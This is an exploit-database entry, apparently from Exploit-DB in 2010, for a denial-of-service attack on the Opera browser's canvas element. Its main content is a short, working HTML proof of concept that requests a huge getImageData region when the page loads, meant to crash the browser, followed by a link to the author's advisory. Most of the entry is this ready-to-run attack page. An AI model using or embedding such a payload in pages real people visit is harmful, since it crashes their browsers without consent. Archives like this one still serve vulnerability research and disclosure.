Opera - Canvas Element (Denial of Service)
Author: Pouya Daneshmand
type: dos
platform: windows
port:
date_added: 2010-07-12
date_updated: 2010-07-12
verified: 1
codes:
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comOpera_1053_int_Setup.exe
Opera.html
<html>
<body onload="Opera()">
<script language=JavaScript>
function Opera() {
canvas = document.getElementById("canvas");
ctx = canvas.getContext("2d");
ctx.getImageData(0,0,0x20000,0x20000);
}
</script>
<canvas id=canvas width=10 height=10></canvas>
</body>
</html>
Original Advisory:
http://pouya.info/blog/userfiles/vul/OperaCC.pdf